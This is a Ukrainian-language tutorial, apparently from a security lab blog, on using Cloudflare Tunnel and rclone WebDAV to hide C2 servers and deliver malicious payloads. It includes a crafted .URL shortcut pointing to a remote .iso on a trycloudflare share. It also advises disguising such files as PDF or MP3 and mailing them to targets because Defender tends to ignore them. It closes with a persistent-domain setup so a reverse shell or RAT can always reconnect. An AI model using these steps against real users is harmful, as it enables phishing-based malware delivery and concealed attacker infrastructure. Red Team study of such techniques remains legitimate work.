Безкоштовний сервіс Cloudflared (Cloudflare Tunnel) може бути корисним як для девелоперів, так і дослідників безпеки при тестуванні Red Team сценаріїв. Наприклад, у доставці шкідливого навантаження. Добрий тим, що без реєстрації надає усім бажаючим безкоштовний домен з HTTPS. Таким чином, хакерам не обов’язково “світити” IP-адреси своїх C2-серверів. Нижче покрокова інструкція по використанню Cloudflared у середовищі Linux/Windows.
Інструкція з застосування Cloudflared
1. Завантажити Cloudflared з GitHub
curl -L -o cloudflared https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
Додати права на виконання:chmod +x cloudflared
Для Windows можна знайти відповідну версію тут: https://github.com/cloudflare/cloudflared/releases?page=7
2. Підняти локальний сервіс
Будь-який сервіс, який треба зробити доступним з інтернету. Наприклад, локальний веб-сервер: python3 -m http.server 4450
3. Запустити Cloudflared
Linux: ./cloudflared tunnel --url http://localhost:4450
(попередньо додавши sudo sed -i '1i 127.0.0.1 localhost\n::1 localhost' /etc/hosts – якщо записи вже є, то пропускаємо)
Windows: cloudflared.exe tunnel --url http://localhost:4450
4. Отримати посилання
Після запуску тунелю Cloudflare надасть URL-посилання за яким буде доступний сервіс:
Відключити тунель можна комбінацією у консолі: CTRL + C
Як тунелювати SMB через RClone + Cloudflared?
1. Створити папку Share і покласти туди необхідні файли, які необхідно передати.
2. Завантажити / встановити додаток Rclone, тоді запустити:
Linux: rclone serve webdav /path/to/share --addr :8080
Windows:rclone.exe serve webdav "C:\Users\windows\Share" --addr :8080
3. Запустити тунель Cloudflare:
cloudflared.exe tunnel --url http://localhost:8080
4. Відкрити WebDav за наданим посиланням:
Тепер цю папку можна напряму відкрити по протоколу WebDAV у локальному провіднику Windows. А можна також створити файл з розширенням .URL, наприклад document.url і вставити у нього наступні рядки:
[InternetShortcut] URL=\\concern-regardless-rica-lobby.trycloudflare.com@SSL\DavWWWRoot\fayne.iso
Після цього файл доставити на цільову систему. Як тільки користувач клікне по ньому – Windows попросить користувача підтвердити операцію, змонтує WebDAV-папку й відкриє шкідливе навантаження:
На замітку: Windows працює лише з файловими системами NTFS. Якщо ви розшарили свою папку в Linux, відформатовану в ext4, тоді змонтувати WebDAV не вдасться.
URL-файли добрі тим, що не вважаються шкідливими. Їх з легкістю можна замаскувати під PDF або MP3 й передати через поштовик або корпоративну пошту. Системи безпеки, включаючи Windows Defender, зазвичай ігнорують їх.
Приклад доставки шкідливого навантаження через Cloudflared
Нижче приклад реальної багатоланцюжкової хакерської атаки з використанням сервісу Cloudflared. Скрипт pra.cmd запускає на комп’ютері жертви довгу послідовність команд по розортанню і закріпленню malware:

Бонус: Як зробити постійний домен для Cloudflare Tunnel?
З часом виникає потреба, щоби домен не змінювався і був постійним. Це добре, якщо здійснюєте довгострокове адміністрування чи обслуговування. Таким чином, скільки б не пройшло часу – реверс-шел завжди зможе з’єднатися.
1) Залогінитися у свій обліковий запис:
cloudflared.exe tunnel login
Вас перенапроавить в браузер. Треба буде обрати зону одного зі своїх доменів і натиснути Authorize.
Завантажиться сертифікат cert.pem і збережеться в С:\Users\username\.cloudflared
2) Створити новий тунель:
cloudflared tunnel create <tunnelname>
Перевірити чи тунель створився: cloudflared tunnel list
3) Прикрутити субдомен до нового тунеля, наприклад:
cloudflared.exe tunnel route dns <tunnelname> rat.example.com – домен повинен бути доданий в Cloudflare.
4) В папці ~/.cloudflared з’явиться файл сесії .json. Залишилось створити конфігураційний файл config.yml там же, наприклад:
tunnel: xxxxxxxxxx-xxxxxxx-xxxxxxxx-xxxxxxxxxxxxxxxxxx (ID тунеля)
credentials-file: C:\Users\username\.cloudflared\xxxxxxxxxx-xxxxxxx-xxxxxxxx-xxxxxxxxxxxxxxxxxx.json (шлях до json-сесії)
ingress:
- hostname: rat.example.com
service: http://localhost:8080
- service: http_status:404 5) Запустити щось на тому самому локальному порті, який вказаний в конфігурації. Наприклад Python-сервер:
python3 -m http.server 8080
6) Запускаємо тунель:
cloudflared.exe tunnel run xxxxxxxxxx-xxxxxxx-xxxxxxxx-xxxxxxxxxxxxxxxxxx – вказати ID тунеля.
7) Відкриваємо субдомен: https://rat.example.com – запрацює локальний веб-сервер.
Перевірити список існуючих тунелів: cloudflared.exe tunnel list
Видалити тунель: cloudflared.exe tunnel delete <tunnelname>
Якщо TryCloudflareFree конфліктує з конфігурацією постійного домену: cloudflared.exe tunnel --config NUL --url http://localhost:4450
Документація: https://developers.cloudflare.com/cloudflare-one/networks/connectors/cloudflare-tunnel/do-more-with-tunnels/trycloudflare/
Автор: © Konrad Ravenstone, KR. Laboratories Research





